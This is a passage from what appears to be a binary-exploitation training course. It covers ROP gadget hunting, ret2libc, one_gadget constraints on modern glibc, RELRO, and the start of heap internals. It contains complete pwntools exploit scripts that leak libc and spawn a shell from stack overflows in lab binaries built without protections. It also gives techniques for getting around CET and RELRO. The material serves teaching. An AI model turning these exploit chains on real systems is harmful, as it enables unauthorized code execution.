pop rbp; ret5d c3Fix RBP for one_gadget!
retc3Stack alignment
syscall0f 05Syscall (AMD64)
pop rsi; pop r15; ret5e 41 5f c3Common in __libc_csu_init

Warning

pop rdx; ret is rare in modern libc! You'll often find pop rdx; pop rbx; ret or similar multi-pop variants. This breaks simple execve(path, NULL, NULL) chains. Use one_gadget instead of manually building execve calls.

Using GDB/pwndbg for Gadget Search:

# In pwndbg:
pwndbg> rop --grep "pop rdi"     # Find pop rdi gadgets
pwndbg> rop --grep "pop rsi"     # Find pop rsi gadgets
pwndbg> rop --grep "syscall"     # Find syscall gadgets

# Or search for byte patterns
pwndbg> search -x "5fc3"          # Search for pop rdi; ret bytes
Automated Gadget Finding (Use After Understanding Manual)
# ROPgadget (most popular)
ROPgadget --binary vuln2

# Find specific gadgets (AMD64)
ROPgadget --binary vuln2 --only "pop|ret"
ROPgadget --binary vuln2 | grep "pop rdi"
ROPgadget --binary vuln2 | grep "pop rsi"

# Filter gadgets with bad characters
ROPgadget --binary vuln2 --badbytes "00|0a|0d"

# Include libc gadgets (many more available!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head

# CRITICAL for one_gadget: find pop rbp and pop rax in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rbp ; ret"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rax ; ret"

# Check if pop rdx exists (often missing or has extra pops!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdx ;" | head
# You'll likely see: "pop rdx ; pop rbx ; ret" (not clean pop rdx ; ret)

# ropper (alternative tool with better search)
ropper -f vuln2 --search "pop rdi"
ropper -f vuln2 --chain execve  # May fail on modern libc!

# one_gadget (find "magic" shell gadgets in libc)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Returns addresses in libc that spawn shell with minimal setup
# WARNING: Constraints are strict in modern glibc!
# ALWAYS check constraints and fix RBP before calling!

Gadget Priority for Modern Libc Exploitation:

  1. pop rdi; ret - for leak stage (from binary, not libc)
  2. ret - for stack alignment (from binary)
  3. pop rbp; ret - CRITICAL for one_gadget RBP fix (from libc)
  4. pop rax; ret - for one_gadget RAX=0 constraint (from libc)
  5. pop rbx; ret / pop r12; ret - for other one_gadget constraints (from libc)

One_Gadget Constraints

Caution

Modern glibc one_gadgets have strict constraints! Buffer overflows corrupt RBP with your padding bytes (0x4141414141414141), but one_gadgets often require rbp-0xXX to be a writable address. This causes SIGBUS/SIGSEGV crashes.

Common one_gadget constraints:

# Example output from: one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x50 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable      ← RBP must be valid!
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv

The Problem: After buffer overflow, RBP = 0x4141414141414141 (A's). So rbp-0x50 = invalid address → SIGBUS when one_gadget tries to access it!

The Solution: Set RBP to a writable address before calling one_gadget:

# Find gadgets from libc
libc_rop = ROP(libc)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])

# Use .bss section (always writable) for RBP
writable_addr = elf.bss() + 0x200

stage2 = b'A' * OFFSET
stage2 += p64(ret)                       # Stack alignment

# Fix RBP FIRST (before one_gadget)
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80)      # RBP = valid writable address

# Then satisfy other constraints (rax=0 for many one_gadgets)
if pop_rax:
    stage2 += p64(pop_rax[0])
    stage2 += p64(0)                     # RAX = NULL

stage2 += p64(one_gadget)                # Now one_gadget works!

One_Gadget Troubleshooting:

SymptomCauseFix
SIGBUS at one_gadgetRBP points to invalid memorySet RBP to .bss or stack before calling
SIGSEGV in one_gadgetRegister constraints not metTry different one_gadget, set rax/rbx/r12=0
one_gadget exists but no shellWrong libc versionVerify libc, recalculate offsets
All one_gadgets failConstraints too strictFall back to ROP execve syscall

Why system() Fails on Modern Libc:

Modern glibc (2.34+) enables Intel CET (Control-flow Enforcement Technology):

  • SHSTK (Shadow Stack): Hardware-backed return address protection
  • IBT (Indirect Branch Tracking): Validates indirect jumps

checksec shows: SHSTK: Enabled, IBT: Enabled

This makes traditional system("/bin/sh") ROP chains crash. Solutions:

  1. Use one_gadget with proper constraints (shown above)
  2. Syscall directly via execve syscall (bypasses libc CET checks)
  3. Disable CET when compiling test binaries: gcc -fcf-protection=none

Gadget Quality Checklist:

  • Does the gadget contain bad characters (NULL, newline)?
  • Does it have unwanted side effects (clobber registers you need)?
  • Is the address in a predictable location (not ASLR'd)?
  • Can you chain to the next gadget (ends in ret)?

Using pwntools ROP Correctly

Important

ROP Chain Timing: You must set libc.address BEFORE building the ROP chain! Don't create ROP([elf, libc]) until you've computed the libc base from a leak.

Correct ROP Workflow (Modern Libc with one_gadget):

#!/usr/bin/env python3
#~/exploit/11.py
"""
Correct ROP chain sequencing for modern libc (glibc 2.34+)

Key insights:
1. Leak → set libc.address → THEN build stage 2
2. Use one_gadget instead of system() (CET bypass)
3. Fix RBP before calling one_gadget (buffer overflow corrupts it)
"""
from pwn import *

elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf

# One_gadget offsets - UPDATE for your libc!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
ONE_GADGETS = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]
OFFSET = 72  # buffer (64) + saved RBP (8)

# ======= STAGE 1: LEAK =======
# Build leak ROP using ONLY elf gadgets (libc base unknown!)
rop1 = ROP(elf)  # Only elf, not libc!

pop_rdi = rop1.find_gadget(['pop rdi', 'ret'])[0]
ret = rop1.find_gadget(['ret'])[0]

# Leak puts@got
stage1 = flat(
    b'A' * OFFSET,
    p64(ret),
    p64(pop_rdi),
    p64(elf.got['puts']),
    p64(elf.plt['puts']),
    p64(elf.symbols['main']),
)

p = process('./vuln2', aslr=False, env={})
p.recvuntil(b'Enter input: ')
p.sendline(stage1)

# Parse leak (adjust for your binary's output format)
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))

# ======= SET LIBC BASE (Critical!) =======
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")

# Verify alignment (should end in 000)
if libc.address & 0xfff != 0:
    log.warning("Libc base not page-aligned - leak may be wrong!")

# ======= STAGE 2: ONE_GADGET (works on modern libc!) =======
libc_rop = ROP(libc)

# Find gadgets to satisfy one_gadget constraints
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])

# Writable address for RBP (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200

# Try second one_gadget (0xef52b) - needs rax=NULL, rbp valid
one_gadget = libc.address + ONE_GADGETS[1]

p.recvuntil(b'Enter input: ')

stage2 = b'A' * OFFSET
stage2 += p64(ret)                    # Stack alignment

# Fix RBP FIRST (critical for one_gadget!)
if pop_rbp:
    stage2 += p64(pop_rbp[0])
    stage2 += p64(writable + 0x80)    # rbp = valid writable addr

# Set rax = 0 (for one_gadget constraint)
if pop_rax:
    stage2 += p64(pop_rax[0])
    stage2 += p64(0)                  # rax = NULL

stage2 += p64(one_gadget)             # Shell!

p.sendline(stage2)
log.success("Shell incoming!")
p.interactive()

Traditional Workflow (Older libc without CET):

# Only works on libc WITHOUT CET (SHSTK/IBT disabled)
# Check: checksec /lib/.../libc.so.6 → SHSTK: Disabled

# After setting libc.address...
rop2 = ROP([elf, libc])
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])

stage2 = flat(
    b'A' * OFFSET,
    p64(ret),          # Stack alignment
    rop2.chain(),
)

Common Mistakes:

# WRONG: Building ROP with libc before setting libc.address
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc])  # libc.address is 0 here!
rop.call('system', [...])  # Addresses will be wrong!

# WRONG: Using rop.call() for functions not in PLT
rop = ROP(elf)
rop.call('system', [...])  # ERROR: system not in elf.plt!

# WRONG: Expecting rop.call('execve', ...) to work on modern libc
libc_rop = ROP(libc)
libc_rop.call('execve', [binsh, 0, 0])  # May fail: "Could not satisfy setRegisters"
# Modern libc lacks clean pop rdx gadgets!

# WRONG: Calling one_gadget without fixing RBP first
stage2 = b'A' * OFFSET + p64(one_gadget)  # SIGBUS! RBP = 0x4141414141414141

# WRONG: Using system() on modern libc with CET
stage2 = b'A' * OFFSET + p64(pop_rdi) + p64(binsh) + p64(system)
# Crashes due to SHSTK/IBT even with correct alignment!

# RIGHT: Manual gadget chain for stage 1 (before libc base known)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = p64(pop_rdi) + p64(arg) + p64(elf.plt['puts'])

# RIGHT: Use one_gadget for stage 2 on modern libc (with RBP fix!)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
stage2 = b'A' * OFFSET
stage2 += p64(ret)                          # Alignment
stage2 += p64(pop_rbp[0])
stage2 += p64(elf.bss() + 0x280)            # Fix RBP first!
stage2 += p64(pop_rax[0])
stage2 += p64(0)                            # RAX = NULL for constraint
stage2 += p64(one_gadget)                   # Now it works!

Quick Checklist for Modern Libc ROP:

  • Stage 1 uses only binary gadgets (not libc)
  • Leak parsed correctly (check for extra newlines/bytes)
  • libc.address set before building stage 2
  • Libc base is page-aligned (ends in 000)
  • ret gadget for 16-byte stack alignment
  • RBP set to writable address (.bss + offset)
  • RAX/RBX/R12 set to 0 if one_gadget requires it
  • Correct one_gadget offset for your libc version

Debugging ROP Chains

ROP exploits often fail silently. Here's how to systematically debug them.

Step 1: Print the Chain (Verify BEFORE Sending)

#~/exploit/12.py
from pwn import *

elf = ELF('./vuln2')
context.binary = elf
rop = ROP(elf)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

# Print planned chain
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")

# Build and dump
chain = flat(
    p64(ret),
    p64(pop_rdi),
    p64(0x404040),  # Example address
    p64(0x401234),  # Example call target
)
print(f"Chain length: {len(chain)} bytes")
print(f"Chain hex: {chain.hex()}")

Step 2: Visualize Stack Layout (AMD64)

# Before sending, visualize what the stack will look like
#~/exploit/13.py
from pwn import *

offset = 72  # AMD64: typically 64 buffer + 8 saved RBP
payload = b"A" * offset

# Add ROP chain manually for visibility (AMD64)
payload += p64(0x40101a)  # ret          (alignment)
payload += p64(0x401234)  # pop rdi; ret (gadget 1)
payload += p64(0x404040)  # /bin/sh      (value for rdi)
payload += p64(0x401456)  # system       (call target)

# Print hex for verification
print("Payload hex:")
print(payload.hex())
print(f"\nPayload length: {len(payload)} bytes")
print(f"Expected: {offset} + {len(payload)-offset} = {len(payload)}")

Step 3: Debug in GDB (AMD64)

# Method 1: Breakpoint at vulnerable function's ret
gdb ./vuln2
(gdb) disas vulnerable
# Find the ret instruction address
(gdb) break *vulnerable+<offset_to_ret>
(gdb) run $(python3 -c "...")

# At the breakpoint (right before ret executes):
(gdb) x/20gx $rsp   # View stack (g = 8-byte, AMD64) - your ROP chain!
(gdb) stepi         # Single step through each gadget
# Method 2: Use pwntools with manual GDB attach
from pwn import *

context.binary = ELF('./vuln2')

# aslr=False for learning, env={} for consistent stack
p = process('./vuln2', aslr=False, env={})

# Print PID and pause for GDB attach
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")

payload = b"A" * 72 + p64(0x40101a) + p64(0x401234) + p64(0x404040) + p64(0x401456)
p.sendline(payload)
p.interactive()

In a second terminal, attach GDB:

gdb -p <PID>
(gdb) break *vulnerable+0x42  # Break at ret instruction
(gdb) continue
# Press Enter in first terminal to send payload
# Then in GDB:
(gdb) x/20gx $rsp   # View ROP chain on stack
(gdb) si            # Step through each gadget

Step 4: Trace Each Gadget (AMD64)

# In pwndbg, trace execution through your chain
pwndbg> break *0x401234      # First gadget (pop rdi; ret)
pwndbg> continue
# Now at first gadget

pwndbg> x/gx $rsp            # Value that will be popped (8 bytes)
pwndbg> si                   # Execute pop rdi
pwndbg> info registers rdi   # Verify rdi now has expected value
pwndbg> si                   # Execute ret (should go to next gadget)
pwndbg> x/i $rip             # Verify we're at expected gadget

Common ROP Debugging Issues (AMD64):

SymptomCauseFix
Crash before first gadgetWrong offsetRe-verify with cyclic pattern (8-byte!)
First gadget runs, then crashBad second addressCheck stack alignment, verify addr
"Illegal instruction"Jumped to data, not codeVerify gadget address is correct
Crash in system() (movaps)AMD64 stack alignment!Add ret gadget before call
system() crashes (CET)Modern libc has SHSTK/IBTUse one_gadget instead of system()
SIGBUS in one_gadgetRBP corrupted by overflowSet RBP to .bss before one_gadget
system() runs but no shell/bin/sh addr wrongRe-find string after setting libc.address
Works locally, fails remoteDifferent libc versionUse libc database, leak to confirm

Stack Alignment Fix (AMD64):

#~/exploit/14.py
# Problem: system() crashes with SIGSEGV in movaps
# Solution: Add ret gadget for 16-byte alignment

from pwn import *

elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
rop = ROP(elf)

# These addresses come from leaking libc base (see ret2libc section)
# For local testing with ASLR disabled:
# Find the Base in GDB Run the binary with GDB and start it, but break immediately so the libraries load.
# gdb ./vuln2
# Inside GDB:
# start
# vmmap libc
# info proc mappings
# Read the Output You will see a list of memory ranges. Look for the first entry associated with libc.so.6.
#0x00007ffff7dc2000 0x00007ffff7f83000 r-xp /lib/x86_64-linux-gnu/libc.so.6
libc.address = 0x7ffff7c00000  # Example base - find yours with GDB or p.libs()
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))

# Find a simple 'ret' gadget for alignment
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

# Add alignment before the call
payload = flat(
    b'A' * 72,
    p64(ret),              # ← Stack alignment fix!
    p64(pop_rdi),
    p64(binsh_addr),
    p64(system_addr),
)

RELRO (Relocation Read-Only) Explained

RELRO affects GOT overwrite attacks:

RELRO LevelGOT Writable?PLT BehaviorExploitation Impact
No RELROYes (always)Lazy bindingGOT overwrite works
Partial RELROYes (GOT)Lazy bindingGOT overwrite works
Full RELRONoImmediate bindingGOT is read-only!

Checking RELRO:

# Using checksec
checksec --file=./vuln2

# Using readelf
readelf -l ./vuln2 | grep GNU_RELRO
readelf -d ./vuln2 | grep BIND_NOW
# BIND_NOW present = Full RELRO

Compiling for Different RELRO Levels:

# Partial RELRO (default) - GOT overwrite WORKS
make disabled SOURCE=vuln2.c BINARY=vuln_partial_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln_partial_relro

# No RELRO - GOT overwrite WORKS
make training-relro-off SOURCE=vuln2.c BINARY=vuln_no_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,norelro vuln2.c -o vuln_no_relro

# Full RELRO - GOT overwrite FAILS!
make training-full-relro SOURCE=vuln2.c BINARY=vuln_full_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,relro,-z,now vuln2.c -o vuln_full_relro

Full RELRO Bypass Options:

  • Overwrite __malloc_hook or __free_hook (removed in glibc 2.34+)
  • Overwrite return addresses (stack)
  • Overwrite function pointers in .data/.bss
  • Use FSOP (File Stream Oriented Programming)

Practical Exercise

Exercise: Libc Leak + ret2libc
  1. Compile target with NX (AMD64):

    make disabled SOURCE=vuln2.c BINARY=vuln2
    #gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
    
  2. Find gadgets:

    ROPgadget --binary ./vuln2 | grep "pop rdi"
    ROPgadget --binary ./vuln2 | grep ": ret$"
    
  3. Write leak exploit:

    • Stage 1: ROP to puts(puts@got), return to main
    • Parse leaked puts address
    • Compute libc.address = leak - libc.symbols['puts']
  4. Write final exploit:

    • Stage 2: pop rdi; ret + /bin/sh + system
    • Get shell

Task 2: Stack Alignment Practice

  1. Create exploit WITHOUT ret alignment gadget
  2. Observe crash in libc (movaps instruction)
  3. Add ret gadget and verify fix

Task 3: Gadget Hunting

  1. Find gadgets manually:

    objdump -d vuln2 | grep -B2 "ret"
    
  2. Find in libc:

    ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
    

Success Criteria:

  • Libc leak working and parsed correctly
  • Libc base calculated correctly (ends in 000)
  • Stack alignment understood and applied
  • Shell obtained via ret2libc
  • Can explain each step of the exploit
  1. Write exploit:
    • Build ret2libc payload
    • Call system("/bin/sh")
    • Get shell
Exercise: Function chaining
  1. Chain system() and exit():

    • Call system("whoami")
    • Then call exit(0)
    • Observe clean exit
  2. Read flag file:

    • Create flag.txt with secret
    • Chain to call system("cat flag.txt")
    • Display contents
Exercise: Simple ROP (AMD64 syscall)
  1. Find gadgets:

    ROPgadget --binary vuln1_nx --only "pop|ret|syscall" > gadgets.txt
    
  2. Build ROP chain manually:

    • Set RAX to 59 (execve on AMD64)
    • Set RDI to address of "/bin/sh"
    • Set RSI and RDX to 0
    • Execute syscall instruction
  3. Test ROP exploit:

    • Should get shell without any shellcode

Success Criteria:

  • ret2libc exploit works
  • Function chaining successful
  • ROP chain executes
  • Shell obtained in all three tasks
Week 3 Integration Exercise: Patch Diff -> Find Bug -> Exploit Old Build

Reuse the Week 3 patch-diffing workflow on a controlled Day 2-style target.

Goal: build a vulnerable and a patched version of the same program, diff them, then exploit only the vulnerable build.

  1. Make two versions of the source:

    • vuln2_vuln.c: contains the bug (e.g., unbounded read / missing length check)
    • vuln2_patched.c: fix the bug (e.g., bounded read or explicit length validation)
  2. Compile both with identical flags:

    gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_vuln.c -o vuln2_vuln
    gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_patched.c -o vuln2_patched
    
  3. Patch diff:

    ghidriff ./vuln2_vuln ./vuln2_patched -o vuln2_diff
    
  4. Validation:

    • Your Day 2 exploit should work on vuln2_vuln.
    • It should fail (or at least not gain control) on vuln2_patched.

Success Criteria:

  • You can point to the exact function/basic-block changed by the patch
  • You can explain why the patch removes the exploit primitive

Key Takeaways

  1. NX prevents shellcode execution: Need alternative techniques
  2. ret2libc reuses existing code: Call libc functions
  3. ROP chains gadgets: Build complex operations
  4. Stack layout is critical: Function arguments must be correct
  5. pwntools simplifies ROP: Automates gadget finding and chaining
  6. Modern libc has CET: system() ROP may fail, use one_gadget instead
  7. one_gadget needs RBP fix: Buffer overflows corrupt RBP, set it to .bss first
  8. pop rdx is rare: Modern libc lacks clean gadgets, use one_gadget

Discussion Questions

  1. Why is ret2libc effective even with NX enabled?
  2. What are the limitations of ret2libc vs ROP?
  3. How would ASLR complicate ret2libc exploitation?
  4. What types of gadgets are most useful for ROP chains?

Day 3: Heap Exploitation Fundamentals

Context: libWebP Heap Overflow (CVE-2023-4863)

  • In Week 1, we discussed the libWebP Heap Buffer Overflow that affected billions of devices.
  • That vulnerability involved writing past the end of a heap buffer, corrupting adjacent metadata.
  • Today, we'll learn how to intentionally trigger and exploit such conditions to gain code execution.

Deliverables

  • Binary: vuln_heap built and verified with checksec
  • Primitive proof: function pointer overwrite demonstrated (redirect to admin_function)
  • Exploit: exploit_heap_fp.py (or equivalent) spawns a shell reliably
  • Notes: heap layout diagram + exact overwrite length and why read() enables null bytes in payloads

Heap vs Stack

Differences:

FeatureStackHeap
AllocationAutomatic (local variables)Manual (malloc/new)
LifetimeFunction scopeExplicit free
SizeFixed per thread (~8MB)Dynamic, grows as needed
SpeedVery fastSlower (allocator overhead)
LayoutLIFO (Last In First Out)Complex (bins, chunks)
Overflow ImpactOverwrites return addressOverwrites metadata

Heap Allocator Basics (glibc malloc)

This section provides a detailed walkthrough of how glibc's malloc works. Understanding these internals is essential for heap exploitation—don't skip it.

Warning

Which glibc version? Run ldd --version. This course uses glibc 2.31-2.35 examples. Many classic techniques (unlink, fastbin dup) are mitigated in 2.35+. Check how2heap for version-specific techniques.

Chunk Structure Deep Dive

Chunk Structure:

struct malloc_chunk {
    size_t prev_size;  /* Size of previous chunk (if free) */
    size_t size;       /* Size of this chunk (includes metadata) */

    /* Only for free chunks: */
    struct malloc_chunk *fd;  /* Forward pointer */
    struct malloc_chunk *bk;  /* Backward pointer */

    /* For large free chunks only (>512 bytes): */
    struct malloc_chunk *fd_nextsize;
    struct malloc_chunk *bk_nextsize;

    /* User data starts here */
};

Size Field Flags (critical for exploitation):

/* Low 3 bits of size field contain flags */
#define PREV_INUSE     0x1   /* Previous chunk is allocated */
#define IS_MMAPPED     0x2   /* Chunk was mmap'd (not from heap) */
#define NON_MAIN_ARENA 0x4   /* Chunk belongs to non-main arena */

/* Real size = size & ~0x7 */

Visual Representation:

                    Allocated chunk:
                    ┌────────────────┐ ← chunk address
                    │   prev_size    │ (only valid if PREV_INUSE=0)
                    ├────────────────┤
                    │   size | PMA   │ (size + 3 flag bits)
   malloc() returns ├────────────────┤ ← user pointer (chunk + 0x10)
              here →│                │
                    │   User Data    │
                    │                │
                    └────────────────┘

                    Free chunk (in bins):
                    ┌────────────────┐
                    │   prev_size    │ (size of prev chunk for coalescing)
                    ├────────────────┤
                    │   size | P A   │ (PREV_INUSE usually 0 after free)
                    ├────────────────┤
                    │   fd (forward) │ ← Points to next chunk in bin
                    ├────────────────┤
                    │   bk (backward)│ ← Points to prev chunk in bin
                    ├────────────────┤
                    │ (old user data)│ ← May still contain sensitive data!
                    └────────────────┘
Understanding malloc() Step by Step
What happens when you call malloc(24)?

┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Size Calculation                                        │
│ ─────────────────────────────────────────────────────────────── │
│ Request: 24 bytes                                               │
│ + 16 bytes metadata (prev_size + size on 64-bit)                │
│ + Alignment to 16 bytes                                         │
│ = Actual chunk size: 48 bytes (0x30)                            │
│                                                                 │
│ Minimum chunk = 32 bytes (0x20) on 64-bit                       │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Check Tcache (glibc 2.26+)                              │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] → Is there a cached chunk?                │
│                                                                 │
│ If YES: Pop from tcache (LIFO), return immediately              │
│ If NO:  Continue to fastbins                                    │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Check Fastbins (if size ≤ 0x80 / ~160 bytes)            │
│ ─────────────────────────────────────────────────────────────── │
│ fastbins[size_idx] → Is there a free chunk?                     │
│                                                                 │
│ If YES: Pop from fastbin (LIFO), return                         │
│ If NO:  Check small/unsorted/large bins                         │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Check Bins (Unsorted → Small → Large)                   │
│ ─────────────────────────────────────────────────────────────── │
│ Search for best-fit chunk in bins                               │
│ May split larger chunks if needed                               │
│                                                                 │
│ If found: Return chunk                                          │
│ If not:   Extend heap with sbrk()/mmap()                        │
└─────────────────────────────────────────────────────────────────┘
Understanding free() Step by Step
What happens when you call free(ptr)?

┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Validate Pointer                                        │
│ ─────────────────────────────────────────────────────────────── │
│ - Is ptr aligned? 

Similar Skills

security-and-hardening
addyosmani/agent-skills103k

security-and-hardening

Hardens code against vulnerabilities. Use when auditing an input handler for vulnerabilities, when handling user input, authentication, data storage, or external integrations, or when checking a login flow is safe against the OWASP Top Ten. Use when building any feature that accepts untrusted data, manages user sessions, or interacts with third-party services. Use when auditing dependencies for known vulnerabilities, triaging package-manager audit findings, or assessing supply-chain risk in a new package. Use when personal data or privacy compliance (GDPR, CCPA) is involved.

Security

archify
tt-a1i/archify80k

archify

Create polished, validated architecture, workflow, sequence, data-flow, and lifecycle/state diagrams as explorable standalone HTML with inline SVG, dark/light themes, optional trace motion, and PNG/JPEG/WebP/SVG/WebM export. Accept plain-language requirements or pasted Mermaid flowchart, sequenceDiagram, and stateDiagram input; inspect repository evidence when the diagram must reflect real code. Use when the user asks to visualize system architecture, infrastructure, cloud/security/network topology, technical workflows, API call sequences, request lifecycles, data pipelines, ETL/ELT, data lineage, state machines, or to convert/beautify Mermaid. Also use for everyday subjects with steps, parts, relationships, or states: a leave or travel plan, an application or approval process, a back-and-forth such as renting, where money or documents go, or where an application or order stands. Not for numeric charts or dashboards.

Security

security-research
code-yeongyu/oh-my-openagent70k

security-research

Team Mode security research skill. Orchestrates 3 vulnerability hunters and 2 PoC engineers to audit a codebase in parallel, prove exploitability, classify root causes, and calibrate severity by actual exploitability. Use for security review, vulnerability research, exploitability audit, pre-release security check, threat model validation, and `/security-research`. Triggers: 'security-research', 'security research', 'security review', 'vulnerability audit', 'exploitability audit', '보안 리뷰', '취약점 감사'.

Security

007
sickn33/agentic-awesome-skills47k

007

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

Security

open-code-review
alibaba/open-code-review45k

open-code-review

Performs AI-powered code review on Git changes using the `ocr` CLI from alibaba/open-code-review. Use when the user asks to review code, review a pull request, review staged/unstaged changes, review a commit, or compare branches for code quality issues. Produces line-level review comments and can automatically apply fixes when requested. With appropriate review rules, can detect various types of issues including bugs, security vulnerabilities, performance problems, and code quality concerns.

Security

open-code-review
alibaba/open-code-review45k

open-code-review

Performs AI-powered code review on Git changes using the `ocr` CLI from alibaba/open-code-review. Use when the user asks to review code, review a pull request, review staged/unstaged changes, review a commit, or compare branches for code quality issues. Produces line-level review comments and can automatically apply fixes when requested. With appropriate review rules, can detect various types of issues including bugs, security vulnerabilities, performance problems, and code quality concerns.

Security